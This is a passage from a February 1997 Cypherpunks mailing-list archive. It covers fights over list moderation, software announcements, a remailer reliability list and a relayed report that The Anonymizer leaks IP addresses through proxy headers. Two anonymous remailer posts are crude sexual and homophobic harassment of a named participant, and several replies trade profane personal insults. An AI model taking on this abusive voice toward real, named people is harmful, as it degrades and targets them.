> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 9 Feb 1997 20:06:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO RELEVANT] Hardening mailing lists against spam attacks
Message-ID: <199702100406.UAA27227@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Degenerate L[oad] Vomit is the living proof that anal sex causes
pregnancy.

       )_(
      [@ @] Degenerate L[oad] Vomit
      |/ \|
       \O/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 9 Feb 1997 20:10:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702100410.UAA17163@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:36 AM 2/7/97 -0800, Mike Duvos wrote:
...
>Now that a few weeks have passed, I have decided that moderation delays
>are the most annoying feature of the new experiment.  I am subscribed to 
>the unedited list under another account, and its almost instantaneous
>traffic is in great contrast to the time required for posts to trickle
>through the Sandfort-Bot. 
...
>Messages apparently do not get moderated in the order in which they 
>are received.  Some messages take a very long time, as other later
>messages pass them by and are posted to the list.  Again, I have no
>explanation for this unusual behavior.

Actually, I noticed that often times the posts were out of order when they
got to me over about two months ago.  This was probably due to my location
on the mailing list heirachy, (another reason for a distributed list).  I
also remember there being a rather lengthy delay between my posting
something to the list and it getting sent to me by toad.  (I stayed at the
computer reading other messages, erasing them and checking if any more had
been sent.  This was, is, my primary way of keeping my eudora disk from
getting clogged to the point where it won't compress.)
The problems that you describe aren't new to the list, mostly they are the
product of a long list of subscribers.  Although, manual moderation
certainly adds time between posting and turnaround.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 9 Feb 1997 18:22:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Feb. 15 Meeting (fwd)
Message-ID: <199702100227.UAA04517@einstein>
MIME-Version: 1.0
Content-Type: text


Forwarded message:
>From owner-austin-cpunks@ssz.com Sun Feb  9 20:24:11 1997
From: Jim Choate <ravage@einstein.ssz.com>
Message-Id: <199702100223.UAA04426@einstein>
Subject: Feb. 15 Meeting
To: austin-cpunks@einstein.ssz.com (Austin Cypherpunks)
Date: Sun, 9 Feb 1997 20:23:43 -0600 (CST)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 865       
Sender: owner-austin-cpunks@einstein.ssz.com
Precedence: bulk
Reply-To: austin-cpunks@einstein.ssz.com


Hi,

Just a reminder that next Saturday, Feb. 15, 1997, is the next date set for
a Austin Cypherpunks meeting. It is to be held at the Central Market HEB
restaurant starting at 6pm. Look for the table with the 2nd. ed. (red cover)
Applied Cryptography.

The meeting is open to the public so remember to tell folks about it.

On another issue, I and another Austin Cypherpunk have decided to start a
distributed cypherpunks list. It would consist of some number of majordomo
remailers, possibly with anonymous extensions, running customer scripts to
allow membership on the mailing list to be distributed and hence
(hopefuly) uncencorable. This will eventualy involve the re-birth of the
anonymous remailer (kourier.ssz.com) project.


                                                   Jim Choate
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Feb 1997 18:41:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: POST: The Frightening Dangers of Moderation
In-Reply-To: <199702100143.RAA16749@m1.sprynet.com>
Message-ID: <LT1V2D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Jerry Basham" <scndsun@sprynet.com> writes:

> You're going to have to find a way to make this junk, piss juvenile crap
> stop coming into my e-mail box.  Period.

I don't think this guy is for real... No one's that stupid.
Must be another Gilmore tentacle.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 9 Feb 1997 21:31:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Black English
Message-ID: <199702100531.VAA10184@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


In a jerk-off competition Dr.Dopehead Vitriolic K[arcass]OfTheMonth
finishes second, third and fifth.

       D\___/\
        (0_o)   Dr.Dopehead Vitriolic K[arcass]OfTheMonth
         (V)
  ---oOo--U--oOo---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Sun, 9 Feb 1997 21:48:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ann: Encrypted disks for Windows NT (fwd)
Message-ID: <Pine.GSO.3.95q.970209214604.29243B-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


Anyone seen this here?  I wasn't sure if it had been posted, so I thought
I'd pass it on.  I have not looked at the software yet...


Rich

---------- Forwarded message ----------
Date: Mon, 10 Feb 1997 03:18:03 +0200 (IST)
From: softwinter@post1.com
To: richieb@teleport.com
Subject: Ann: Encrypted disks for Windows NT

Soft Winter Corporation, February 10, 1997 released:
Shade - strong encryption software for Windows NT.

Shade allows you to create encrypted disk device inside a file.
Such a device can then be formatted using any file system
(like NTFS or FAT) and used as a regular disk. The only difference
is that Shade will encrypt the data on every write operation
and decrypt it on every read operation.

To download  go to: http://softwinter.bitbucket.co.il

Soft Winter Corporation,
softwinter@post1.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca
Date: Sun, 9 Feb 1997 22:49:53 -0800 (PST)
To: victor.volkman@hal9k.com
Subject: LInteger Version 0.2: A C++ MPILIB
Message-ID: <199702100646.WAA02464@clouds.heaven.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

LInteger is a set of C++ libraries supporting multiple precision integers.
Also included are libraries supporting chain hash functions and
pseudo-random number generators.

The core multiple precision methods are coded in i386+ assembly language
for high speed. The libraries will only compile under GNU's g++ compiler,
and have only been tested under the Linux and Windows NT operating systems.
It is anticipated that there should not be any problems compiling under
Windows '95, however, and that compiling for OS/2 will only require minor
hacking, if any.

Included as a sample chain hash function is an i386+ assembly
implementation of the Secure Hash Algorithm (FIPS 180-1).  Included as a
sample pseudo-random number generator is an implementation of a
pseudo-random number generator described in Section 3.1 of FIPS 186 (the
Digital Signature Standard).

Complete HTML documentation is provided for all public and protected
methods.  The package is free for both commercial and non-commercial use.

Some of the improvements of this release over version 0.1 include:

 - Pseudo-random number generation. 
 - Probable prime generation. 
 - Easier constructors. 
 - MontyRep and ResidueClass classes. 
 - ASCII I/O in bases 1 to 36. 
 - Overloading of fstreams operators for storage on persistent media. 
 - Easier exponentiation. 
 - Pentium optimizations for multiplication and squaring. 
 - A square root function (by special request). 
 - 8+3 filenames (by special request). 
 - Various bug fixes and speed improvements (and some slowdowns! :) ) 

The package is available for download at

 http://www.interchg.ubc.ca/janke/linteger.html

The hashes for version 0.2 are

MD5:        61f027957065b88a690def3557956d34 
RIPE-MD128: a0e85d5f3429f074b4a4dd4303f829e0 
SHA0:       b8e65d49ae0ae3ab26741030c8ca03137e16b493 
SHA1:       c46317ad7e3a9ff38092269b21513dbf68c0e3ef 
RIPE-MD160: 2ef0f020d1312033af6e6f4aa72466878ef3abe1 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv

iQCVAwUBMv65lDjQF257xHLhAQG+TwQAhLaBP6z3nLKbBKcmSomPPE9G+r1z/tpD
5rA1p9ImwjJZnLAARiywdzH0bXS2n4Yf6jfPOUBZ0FMonNXLfkRJcXIgf0c16+mQ
GeX2YYYxRQ+BWcUpzgZBe9y1Y7BJ/I4f0Qbu7jWHn6sOdv+qejxS6+Wos/6vVDoF
3LOfYCyG8Xs=
=jnym
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Feb 1997 20:00:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ANON: anonymizer.com thru proxy server is bad news
In-Reply-To: <199702092015.PAA30654@yakko.cs.wmich.edu>
Message-ID: <uq6V2D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Damaged Justice <frogfarm@yakko.cs.wmich.edu> writes:

>
> >From: jmccorm@galstar.com (Josh McCormick)
> Newsgroups: comp.infosystems.www.misc,alt.anonymous,comp.infosystems.www.brow
> Subject: NOT ALWAYS ANONYMOUS: "www.anonymizer.com"
> Date: 9 Feb 1997 19:25:46 GMT
> Lines: 43
> Message-ID: <5dl8bq$6h3@mercury.galstar.com>
>
> THE CLAIM:
> > Our "anonymizer" service allows you to surf the web without
> > revealing any personal information.
>
> THE PROBLEM:
> > If you access The Anonymizer through a proxy server, it may add a
> > variable, such as "HTTP_FORWARDED", that The Anonymizer does not filter
> > out, revealing your true identity.
>
> THE DATA:
> > Below is a printout of the variables from an "anonymous" session done
> > through The Anonymizer when accessed through the Squid proxy server.
>
> REMOTE_HOST=darkmatter.infonex.com
> REMOTE_ADDR=206.170.114.24
> HTTP_USER_AGENT=Mozilla/3.01 (via THE ANONYMIZER!)
> HTTP_HOST=sol.infonex.com:8080
> HTTP_FORWARDED=by http://galaxy.galstar.com:3128/ (Squid/1.0.20) for 204.251.
> HTTP_PRAGMA=no-cache
> HTTP_PROXY_CONNECTION=Keep-Alive
>
> THE RESULT:
> > A CGI script could see that you were using The Anonymizer to hide
> > yourself, but your true IP address is revealed in the "HTTP_FORWARDED"
> > string.
>
> THE SUMMARY:
> > Beware using an anonymous browsing service if you are going through a
> > proxy server. Until they remove the information provided by proxy
> > servers, using their service isn't as anonymous as they say.
>
> THE QUOTE:
> > (from The Anonymizer home page) "Many people surf the web under the
> > illusion that their actions are private and anonymous. Unfortunately, it
> > isn't so."
>
> =====================================================================
> == Josh McCormick             Galaxy Star Systems                  ==
> == jmccorm@galstar.com        Providing Quality Internet Access    ==
> == Systems Administrator      WWW: http://www.galstar.com/~jmccorm ==
> =====================================================================
>
> --
> http://yakko.cs.wmich.edu/~frogfarm/  ...for the best in unapproved informati
>  "Would I had phrases that are not known, utterances that are strange, in new
>  language that has not been used, free from repetition, not an utterance whic
>  has grown stale, which men of old have spoken."  - inscribed on Egyptian tom

Isn't this "anonymizer" run by Sameer Parekh and his C2Net? It figures...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca
Date: Sun, 9 Feb 1997 23:47:56 -0800 (PST)
To: coderpunks@toad.com
Subject: Re: LInteger Version 0.2: A C++ MPILIB
In-Reply-To: <199702100646.WAA02464@clouds.heaven.org>
Message-ID: <m24tflf6jp.fsf@clouds.heaven.org>
MIME-Version: 1.0
Content-Type: text/plain



Ooopsy...

Please be remove victor.volkman@hal9k.com from the CC: or To: lines
in any follow-ups to this article.

Leonard 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 9 Feb 1997 23:47:21 -0800 (PST)
Subject: Re: Who's ahead: NSA or the private sector?
In-Reply-To: <5dh48p$clc@tor-nn1-hb0.netcom.ca>
Message-ID: <32FED23D.2641@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


That's not really a meaningful question.
We can write codes they can't crack.  They can write codes we can't
crack.
The cats are out of the bag, and David Aaron can't herd them back in.

In some sense, the NSA is ahead of academia, because academia publishes,
so they can read everything the Good Guys have done (less six months
waiting to get published in journals :-), while the NSA seldom
publishes.
(There are also corporations doing non-published crypto work,
but not much - they also see the value of open system review.
And the KGB may have been good as well, but they're not in our face,
and we can write codes the Russians and French can't crack either.)
The NSA has almost certainly done more work on analyzing obscure Russian
cryptosystems, but who knows how much of that is just brute force.

But the real problems these days are engineering, not science*,
so it's probably worth spotting them a few bits of keyspace just in
case.
The NSA is better able to come up with a few million dollars to build
custom key-cracking hardware than industry is, so we have to presume
they can do at least as well as a Wiener machine for cracking DES;
they're certainly better at eavesdropping on calls than we are.
I don't know if we can coordinate more workstations for a distributed
crack,
but they _could_ issue the FedCast Secure Screen Saver for all federal
PCs;
the only question is how much time would it spend cracking keys and
how much grepping for suspicious files :-)  There may still be radical 
changes in factoring technology, especially as computers get faster,
but I doubt they'll do more in practice than force us to use longer
keys,
unless someone proves P=NP in the far mythical future or proves that
factoring is in or near P.

The interesting questions are at the boundaries of strong crypto
and weak crypto - 40 bits is a nasty joke, DES is still interesting
for things that don't have too much money riding on them,
Skipjack is probably strong enough for a few years unless there's a 
second back door next to the one with the big "Cops Only" neon sign.
How strong can we make something and still get export permission?
Do we care?  What are the threat models for different "Key Recovery"
scams,
and are we willing to write deliberatlely weak code to collaborate?
Are the non-RSA public key systems good enough until the patent expires?

There are some boundary problems that are interesting for non-political
reasons - now that every toaster and digital wristwatch has an IP
address
and a few KB of RAM, what kind of useful crypto will fit in them?

Key distribution is still interesting - how do you make a system that's
convenient enough to use and secure enough to work?  And distributed
cracking systems are interesting, though the main uses for them are
for cracking known-weak cryptosystems.

Then there's the field of secure databases, which I think has both
practical potential and scientific merit - how do you mix data together
without leaking the secure stuff to unauthorized users, either directly
or through combining lots of non-privileged data.

[*Borrowing from Matt Blaze gratefully acknowledged.]




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 9 Feb 1997 23:50:29 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: Who's Censoring Who?
In-Reply-To: <1.5.4.32.19970209181732.006dba6c@pop.pipeline.com>
Message-ID: <32FED2DA.2C24@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:

> Sandy's e-mailed several of us who've sent messages about Vulis's
> ploy to put Sandy in a conflict-of-interest bind -- a well-known attack
> on moderators of all kinds, not just on the net.

Now you've admitted that Sandy, ever more desperate, is grasping
for allies for some future attack.  And you've accused Dr. Vulis
of plotting against Sandy.  Tsk tsk.

> What's worth admiring is how Vulis has adeptly managed to get others
>  -- targets and witting and unwitting cohorts -- to go along with his attack,
> attack, attack, by opposing or supporting it. A useful lesson.

This is not the healthy kind of paranoia.

> Smart dude, that Vulis, but no more so than others on the Net, say,
> Tim May, and in the world who've done the same elsewhere, maybe
> by even smarter dude(s) who provoked, angered, insulted, an unwitting
> Vulis, or May, to attack on behalf of ...

Tim May in the same breath as Dr. Vulis?  I underestimated the level
of desperation here.

> But such deception is to be expected, along with feigned suprise and
> outrage at the unfairness of opponents fighting as dirty as one's own
> pure-blackhearts.

Neither I nor (I'm certain) Dr. Vulis are surprised by any of this.
Who were you referring to?

> Sandy's not censoring cypherpunks, nor is Vulis or May or any single
> person alone. As Pogo said, it's all of us, posters and lurkers and spooks,
> each trying to get one's way to prevail, under guise of a high principle not
> easily honored when the squeeze is on alone in a dark cell. Come on out
> Sandy, it was just a drill.

Well, he claims he's not censoring anymore.  If you believe that,
you're probably waiting for the Easter bunny.

> It's probably worth saving accusations of censorship for the real thing,
> after trial usage here for what is truly nasty high-stakes global info-war
> gaming.

Blah blah blah blah.  Bottom line is this:  "Moderation" is really
censorship.  You can go on with this "plausible denial" all you
want to, but the jig is up, so to speak.  They've been caught being
sneaky and deceptive with people's mail.  Naughty naughty.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 10 Feb 1997 06:36:34 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: Who's Censoring Who?
In-Reply-To: <1.5.4.32.19970210132200.006d51bc@pop.pipeline.com>
Message-ID: <32FF3159.4D65@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> To Thorn and Cuckoo (great juxtaposition):
> Your exhortation and rhetoric are deft, but I'm not ready to take
> sides just yet. In fact, I can't figure what the sides are, if any, in this
> anti-herd of caterwauling anarchic cats.
> Instead, I'm relishing and laughing at the spitting and farting contest,
> and hoping this gameboying will prepare for the genuinely tough
> battles in high stakes info-wargames.
> There, wipe and sniff that exhort and rhet.

I don't want to make any suggestions about having a clue or whatever,
but just in case you didn't know, John, I'm not censoring anything,
nor is cuckoo, nor is Dr. Vulis, nor are 1300-plus other subscribers
to this list.  It is all being done by a central "authority".

Now you can't figure out who's on what side?  Or you just can't
decide who to line up with?  In case you hadn't noticed, the
censorship has been admitted a failure, although the denial from
the central "authority" is so thick that some folks on the list
will be hoping for Santa to come save them for some time to come.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cuckoo <cuckoo@cuckoo.com>
Date: Mon, 10 Feb 1997 04:34:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Who's Censoring Who?
In-Reply-To: <1.5.4.32.19970209181732.006dba6c@pop.pipeline.com>
Message-ID: <32FF31A9.2E04@cuckoo.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
 > Sandy's e-mailed several of us who've sent messages about Vulis's
 > ploy to put Sandy in a conflict-of-interest bind
 
   Did Sandy happen to mention how the evil Dr. Vulis managed to
 twist his impressionable young mind so that his only concern about
 libel is centered around his employer?
 
   Did Sandy mention why his employer went nuclear over the mention
 of the 'b-d' word by an individual whom his employees on the list
 regularly label as a troublemaker and a nut case?
 (Methinks they doth protest _too_ much?)
 
   Did Sandy mention that his employer is in the postion of owning
 the cypherpunks.com domain-name and is in a great postion to profit
 by controlling and/or destroying the cypherpunks list?
   Did Sandy mention that when his own takeover of the list (by
 virtue of 'moving' the subscribers into a list filtered by himself)
 faltered, by becoming an open joke, that one of his fellow employees
 called for the "killing" of the list?
   Did Sandy mention that the pecker-tracks of his employers minions
 leave a sordid trail across the whole face of this whole censorship
 farce?
 
   Gee, John, I wish that I had crypto software to sell, and employees
 who were in control of the reputation capital of the cypherpunks list.
 I wish that I had a domain named cypherpunks.com waiting to capitalize
 on the cypherpunks name to sell my crypto software.
   Of course, some asshole somewhere might regard this as a "ploy"
 to profit from creating misfortune for the cypherpunks. They might
 even think that I had a hand in that misfortune.
 
 
 > It's probably worth saving accusations of censorship for the real 
> thing 
   What fucking planet have you been living on, shit-for-brains?
   We're not talking about "accusations," here. We're talking about
 posts by average list subscribers who are coming forward and speaking
 out about the facts surrounding the misappropriation of their posts
 in order to further the private interests of Sandy.
   We're talking about the suppression of postings which Question
 Authority. We're talking about shit-canning postings without
 informing the list, because the actions are reprehensible. We're
 talking about censorship which, in the censor's own words, is not
 based on crypto-relevancy, but a changing morass of ill-defined
 'Sandy rules' (or 'Sandy Rules!', if you prefer).
   We're talking about robotic censorship where those who do not
 bend under the jackboots suppressing free speech on the cypherpunks
 list are auto-botted to cypherpunks-dontsaybadthingsaboutmyemployer.
 
   Your posts are usually fairly intelligent, so I have no idea why
 you are wasting your own reputation capital attempting to defend
 an inept, lame-duck censor who is too cowardly to defend his own
 vile actions.
   Instead, he declares that he has absolutely no interest in
 filtering out the "Make Money Fast" and "Penis-Picture" garbage
 for list members if he can't use his usurped-power to slam the
 jackboots down on any niggling detail that doesn't serve his
 own private interests.
 
 Cuckoo (<-- Dr. Vulis 'made' me use this name.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 10 Feb 1997 06:50:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199702101450.GAA02197@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<mix@mix.nymserver.com> cpunk mix pgp. hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 10 Feb 97 6:46:24 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             **-#+*#*#*##     1:59 100.00%
jam      remailer@cypherpunks.ca                ******     8:22  99.98%
wazoo    remailer@wazoo.com                     *+++++    33:48  99.97%
weasel   config@weasel.owl.de             ++++++-++++   1:05:51  99.84%
lucifer  lucifer@dhp.com                  ++++++++++++    37:45  99.78%
dustbin  dustman@athensnet.com            ----+-- .+++  2:42:13  99.65%
balls    remailer@huge.cajones.com        +-- **### *#     2:12  99.60%
cyber    alias@alias.cyberpass.net        ++*+++*** *+    30:13  99.59%
haystack haystack@holy.cow.net             *#-+###*##*     4:06  99.42%
squirrel mix@squirrel.owl.de              ++ +++-+ ++   1:05:29  99.26%
exon     remailer@remailer.nl.com         #* * ##  **#     1:21  99.18%
middle   middleman@jpunix.com              ---+-. +++   2:51:34  98.78%
replay   remailer@replay.com              +-***+*---+*    27:45  98.57%
extropia remail@miron.vip.best.com         .- -------   4:46:55  98.08%
reno     middleman@cyberpass.net            --+-  .++   1:27:14  96.63%
mix      mixmaster@remail.obscura.com     +_ __.-*+    22:42:38  93.53%
winsock  winsock@rigel.cyberpass.net      ----.---   +  5:48:14  75.89%
shaman   mix@mix.nymserver.com                             2:46   9.00%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 10 Feb 1997 03:58:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: HIC_rim
Message-ID: <1.5.4.32.19970210115212.006cdde0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-10-97 NYT has Page One lead on high resolution commercial
"spy satellites," and the welter of political, social, economic and 
national security consequences as foreign governments,  
corporations and individuals hire them to invade privacy, secret 
sites and labs.

A nearby story reports on organized crime's shift to new industries,
especially those reliant on high technology: calling cards, stock
offerings and health care.

-----

HIC_rim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 10 Feb 1997 05:27:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Who's Censoring Who?
Message-ID: <1.5.4.32.19970210132200.006d51bc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


To Thorn and Cuckoo (great juxtaposition):

Your exhortation and rhetoric are deft, but I'm not ready to take 
sides just yet. In fact, I can't figure what the sides are, if any, in this
anti-herd of caterwauling anarchic cats.

Instead, I'm relishing and laughing at the spitting and farting contest, 
and hoping this gameboying will prepare for the genuinely tough 
battles in high stakes info-wargames. 

There, wipe and sniff that exhort and rhet.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Mon, 10 Feb 1997 06:30:20 -0800 (PST)
To: cypherpunks mailing list <jeremym@r56h159.res.gatech.edu>
Subject: Modified Clipper chip - HA!
Message-ID: <3.0.1.32.19970210092916.00944490@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


For all of you who didn't see the last X-Files ...
Mulder made a visit to The Lone Gunman about breaking into some
impenetrable system.
Byers points out that "Yeah, that system is pretty hard to get into."
Mulder then inquires "well how did you guys get in?".
Byers replies cooly: "We used a modified Clipper chip we bought back from
the Chinese."
I didn't stop laughing for 5 minutes ... :)
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"Women. You can't live with 'em. . . and yet they're everywhere."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Butler, Scott" <SButler@chemson.com>
Date: Mon, 10 Feb 1997 01:16:35 -0800 (PST)
To: "'Timothy C. May'" <IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=tcmay+40got+2Enet+3B@chemson.com>
Subject: RE: remailer-operators DEA agents?
Message-ID: <c=GB%a=_%p=CHEMSON%l=CSH_NT0-970210092040Z-901@csa-ntx.chemson.com>
MIME-Version: 1.0
Content-Type: text/plain


>
>Again, I am only on the Flames list. So why was this message sent to the
>Flames list? Because someone responded to a Vulis post? Is a response to a
>Banned Message now grounds for rejection?
>
After whinghing about Dimitri and about people sending flames to the
list, you only subscribe to the flames-list.... you just don't make
sense Timmy.


Scott





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Mon, 10 Feb 1997 07:28:38 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: You guys/gals oughta get a kick outta this guy
Message-ID: <3.0.1.32.19970210102744.0092dea0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


Yet another person who needs a good stern talking to by the nearest
cypherpunk --- this guy posted to comp.lang.perl.misc with the following
blasphemy, which I luaghed at until I had tears in my eyes.
--BEGIN COMPLETE STUPIDITY--
I want to make it executable to protect the source code from being read. I
